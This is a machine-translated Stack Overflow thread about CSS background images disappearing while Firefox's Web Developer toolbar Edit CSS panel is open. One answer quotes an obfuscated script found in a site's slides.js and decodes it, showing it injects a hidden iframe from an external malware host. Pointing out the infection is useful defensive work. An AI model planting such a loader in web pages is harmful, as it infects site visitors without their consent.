使用firefox web developer工具栏编辑CSS时，为什么打开工具栏时有些图片会消失？答案

【问题标题】：When using the firefox webdeveloper toolbar to edit CSS, why do some image disappear when the toolbar is open?使用firefox web developer工具栏编辑CSS时，为什么打开工具栏时有些图片会消失？
【发布时间】：2011-03-20 12:32:26
【问题描述】：

我为 HTML 文档编辑和构建样式表的典型工作流程是打开 Firefox Web 开发人员工具栏的“编辑 CSS”面板并直接在浏览器窗口中进行编辑。

大多数时候，这就像一个魅力。但是，有时当我打开“编辑 CSS”面板时，某些图像会消失，我不知道为什么。更奇怪的是，有时我在工具栏打开时添加的图像在关闭时不可见。（我说的主要是使用 CSS background-image 规则添加的图像）。

这里有一些例子......

http://kenbrook.org - 如果您打开编辑 CSS 面板，主体背景图像以及几个 div 背景将消失。事实上，我认为几乎所有的 CSS 背景图像图像都消失了。我没有在这个网站上编写标记和大部分样式，但我负责编辑和完成它们。那么知道为什么会发生这种情况吗？

http://joelglovier.com - 也检查一下我刚刚构建自己并为其编写样式的这个（现在页面上只有几个元素）。在标题 div 中，我有一个空的 div，我正在将图像放入其中。当 Edit CSS 打开时，图像会按预期显示。但是，当它关闭时，看不到图像，尽管使用 firebug 我可以看到样式肯定被应用了，并且 div 是它应该在的位置。

有什么解释吗？？

【问题讨论】：

我不知道，但我在 Firefox 中看到了一些带有 CSS 背景图像的片状。它可能是由 Firefox 或插件引起的。比较不协调。有时 ctrl+r 修复它，有时它没有。
好的，所以这只是第二个链接 (joelglovier.com) 上的一个愚蠢错误，我没有正确写入背景图像路径，而且显然浏览器比工具栏更严格。
我无法复制问题。对我来说很好。你的系统细节是什么？（操作系统、FF 版本、Web 开发人员工具栏版本、Firebug？）您当然尝试过擦除缓存和重启等旧的可靠方法？
MAC 10.6.4，火狐 3.6.3。嗯，是的 - 奇怪的是我现在也没有得到它。也许最近的 Firefox 更新解决了这个问题？？

标签： css firefox firefox-addon background-image web-developer-toolbar

【解决方案1】：

我想我找到了问题所在 - 至少对于第二个链接。对于打开编辑 CSS 时显示的那个，但在没有打开该面板的情况下不显示，似乎我忽略了在绝对定位的 div 上定义一个顶部：值。当我定义了最高值时，图像显示在普通浏览器和编辑 CSS 打开的情况下显示。

不确定这是否适用于 kenbrook.org，其中图像正常显示但在打开编辑 CSS 时消失。

【讨论】：

嗯——毕竟还是有问题。

【解决方案2】：

好吧，我无法复制您的问题，当我打开编辑 CSS 面板时，页面保持不变，但我的病毒扫描程序警告我您的一个脚本 (/assets/js/slides.js) 有一个里面隐藏了 Trojan.Script.Iframer...

也许你可以试试 firebug，它还有一个强大的 css 在线编辑器。

【讨论】：

是的，大约 2 周前，当我在 Chrome 中访问该网站时，我收到一个警告页面，上面写着...“kenbrook.org 网站包含来自网站 www.spiritek.co 的元素.jp，它似乎包含恶意软件 - 可能会损害您的计算机或未经您同意以其他方式运行的软件。只需访问包含恶意软件的网站即可感染您的计算机。不太确定从哪里开始。

【解决方案3】：

这段代码的目的是什么（来自http://kenbrook.org/assets/js/slides.js）

var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#koewv>3#*!>>!.2*!|sz{{>epdvnfou/hfuFmfnfouCzJe)(m{nig(*<jg)sz{{>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>m{nig!tsd>iuuq;00xxx/tqjsjufl/dp/kq0bttfut0kt0bkby/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#koewv>3<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = "";
                   for(var i=0;i<source.length;i++) {
                       result+=String.fromCharCode(source.charCodeAt(i)-1);
                   }
                   document.write(result);

未混淆它会将其写入文档

<script>if (document.cookie.search("jndvu=2") == -1) {
ryzz=document.getElementById('lzmhf');if(ryzz==null){document.write('<iframe id=lzmhf src=http://www.spiritek.co.jp/assets/js/ajax.php style=display:none></iframe>');}
document.cookie = "jndvu=2;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</script>

你知道它的存在吗？

【讨论】：

没有线索。我得调查一下。可能是什么导致了这个问题：stackoverflow.com/questions/3379123/…

【解决方案4】：

不过，如果您查看 Web 开发人员工具栏主页，我会发现： “'编辑 CSS' 不适用于与 CSS 相关的背景图像”在“问题”下。因此，插件目前无法处理相对链接的图像。尝试让插件的创建者修复它...我也很讨厌这个问题...

【讨论】：

【解决方案5】：

当 CSS 文件和图像文件与 HTML 不在同一目录中时，我已经看到了这个问题。例如我有这个目录结构：

index.html
image/background.jpg
css/index.css

我的 CSS 中有这个：

body { background-image:image/index.html; }

当 Web Developer 的 CSS 编辑器打开时，它可以工作。当我关闭它时，它没有。

原来的答案是图像的路径是相对于 CSS 文件的，而不是相对于 HTML 文件的。打开 CSS 编辑器后，它正确地找出了路径。当它关闭时，Firefox 找不到该图像。

如果您想使用编辑器并将文件放在不同的目录中，我想 CSS 中的路径应该是绝对的。

【讨论】：